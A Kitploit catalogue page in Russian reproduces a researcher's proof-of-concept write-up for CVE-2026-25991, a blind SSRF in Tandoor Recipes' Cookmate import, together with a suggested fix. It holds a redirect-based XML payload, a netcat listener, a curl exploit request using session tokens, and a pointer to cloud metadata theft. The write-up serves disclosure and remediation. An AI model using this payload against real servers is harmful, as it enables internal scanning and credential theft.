Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25991 — Доказательство концепции эксплуатации для CVE-2026-25991, слепой SSRF в импорте Cookmate в Tandoor Recipes, позволяющий аутентифицированным пользователям получать доступ к внутренним ресурсам. | Kitploit
Инструменты/GitHubGitHub/drkim-dev/cve-2026-25991
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеRed Teaming
GitHubdrkim-dev/cve-2026-25991

CVE-2026-25991

Доказательство концепции эксплуатации для CVE-2026-25991, слепой SSRF в импорте Cookmate в Tandoor Recipes, позволяющий аутентифицированным пользователям получать доступ к внутренним ресурсам.

Репозиторий
215 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25991 PoC — Tandoor Recipes SSRF

Proof-of-Concept для SSRF через импорт рецептов

Раскрытие: Изначально сообщено мной через GHSA-j6xg-85mh-qqf7

⚠️ Только для авторизованного пентеста/исследований.

Информация об уязвимости

ПолеЗначение
ID CVECVE-2026-25991
Серьёзность🔴 Высокая
Оценка CVSS7.7
Вектор CVSS[CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N]
CWECWE-918: Подделка серверных запросов (SSRF)
Затронутый продуктTandoor Recipes ≤ 2.5.0
Исправленная версия2.5.1
КонсультацияGHSA-j6xg-85mh-qqf7

CVE-2026-25991: Слепой SSRF с доступом к внутренней сети через импорт рецептов

Краткое описание

Я обнаружил уязвимость слепой подделки серверных запросов (SSRF) в функции импорта рецептов Cookmate в Tandoor Recipes. Приложение не проверяет конечный URL после следования HTTP-редиректам, что позволяет любому аутентифицированному пользователю (включая обычных пользователей без административных привилегий) заставить сервер подключаться к произвольным внутренним или внешним ресурсам.

Эта уязвимость может быть использована для сканирования портов внутренней сети, доступа к метаданным облачного экземпляра (например, служба метаданных AWS/GCP) или раскрытия реального IP-адреса сервера.


Детали

Уязвимость находится в cookbook/integration/cookmate.py, внутри класса интеграции Cookmate.

  1. Начальная логика: При обработке импортированного XML-файла приложение извлекает поле imageurl.
  2. Начальная проверка: URL проверяется с помощью вспомогательной функции validate_import_url (в cookbook/helper/HelperFunctions.py), которая корректно блокирует частные диапазоны IP-адресов (например, 127.0.0.1, 10.0.0.0/8).
  3. Обход (уязвимый код): Однако сразу после проверки код использует requests.get(url) для загрузки изображения. По умолчанию библиотека requests следует редиректам (allow_redirects=True). Функция validate_import_url проверяет только исходный URL, но не проверяет конечный пункт назначения после редиректа.

Фрагмент уязвимого кода (cookbook/integration/cookmate.py:73):

root@kitploit:~
if validate_import_url(url):
    # КРИТИЧНО: requests.get по умолчанию следует редиректам, обходя начальную проверку.
    response = requests.get(url) 
    self.import_recipe_image(recipe, BytesIO(response.content))

Злоумышленник может использовать внешний сервис (например, httpbin.org) для перенаправления запроса на ограниченный внутренний адрес (например, http://127.0.0.1:80/ или http://169.254.169.254/).

Ключевой момент: AppImportView (cookbook/views/api.py) явно разрешает права CustomIsUser, что означает, что ЛЮБОЙ зарегистрированный пользователь может вызвать эту уязвимость. Никаких специальных административных прав не требуется.


PoC (Proof of Concept)

Предварительные требования:

  1. Учётная запись обычного пользователя (не администратора) на экземпляре Tandoor.
  2. Локально установленный Python (или любой инструмент прослушивания HTTP, например nc).

Шаги для воспроизведения:

  1. Настройте прослушиватель (машина атакующего): Откройте терминал и запустите nc для прослушивания входящих подключений. Это имитирует внутренний сервис или сервер под контролем атакующего.

    root@kitploit:~
    nc -lvnp 9999
    
  2. Создайте вредоносную XML-нагрузку: Создайте файл с именем payload.xml. Замените <YOUR_IP> на ваш публичный IP-адрес (или доступный IP). Эта нагрузка использует httpbin.org для обхода начальной проверки частного IP и перенаправления на ваш прослушиватель.

    root@kitploit:~
    <recipes>
      <recipe>
        <title>SSRF_PoC</title>
        <!-- Перенаправление на внутренний сервис или прослушиватель атакующего -->
        <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
      </recipe>
    </recipes>
    
화면 캡처 2026-02-07 125056
  1. Создайте ZIP-архив: Tandoor требует, чтобы XML находился внутри ZIP-файла.

    root@kitploit:~
    zip payload.zip payload.xml
    
  2. Выполните эксплойт (через API): Войдите как обычный пользователь (не администратор), чтобы получить cookie сессии и CSRF-токен. Затем отправьте POST-запрос на /api/import/: (Замените <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> на фактические значения)

    root@kitploit:~
    curl -X POST 'http://<TARGET_URL>/api/import/' \
      -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
      -H 'X-CSRFToken: <CSRF_TOKEN>' \
      -F 'type=COOKMATE' \
      -F '[email protected]' \
      -F 'duplicates=true'
    
화면 캡처 2026-02-07 124915
화면 캡처 2026-02-07 124606
  1. Проверьте подключение: Проверьте терминал вашего прослушивателя (nc). Вы увидите входящий HTTP GET-запрос от сервера Tandoor. Это подтверждает, что сервер, действуя от имени обычного пользователя, подключился к произвольному внешнему/внутреннему ресурсу.
    root@kitploit:~
    GET /secret.txt HTTP/1.1
    Host: <YOUR_IP>:9999
    User-Agent: python-requests/2.x.x
    ...
    
화면 캡처 2026-02-07 124642

Воздействие

  • Сканирование внутренней сети: Злоумышленники могут проверять внутренние порты для обнаружения работающих сервисов.
  • Утечка метаданных облака: При развёртывании на AWS/GCP/Azure злоумышленники могут получить доступ к метаданным экземпляра (например, http://169.254.169.254/latest/meta-data/) для кражи учётных данных IAM, что приведёт к полной компрометации инфраструктуры.
  • Серьёзность: Высокая (CVSS ~8.0), поскольку требует низких привилегий (обычный пользователь) и может привести к значительному воздействию (доступ к метаданным/сканирование внутренней сети).

Исправление

Отключите автоматическое следование редиректам в вызове requests.get или внедрите строгую проверку URL-адресов редиректов.

Diff (предлагаемое исправление):

root@kitploit:~
# cookbook/integration/cookmate.py

# Вариант 1: Отключить редиректы (рекомендуется)
response = requests.get(url, allow_redirects=False)

# Вариант 2: Проверять редиректы
# (Требуется сложная логика для проверки каждого перехода редиректа на частные диапазоны IP)
Скачать инструмент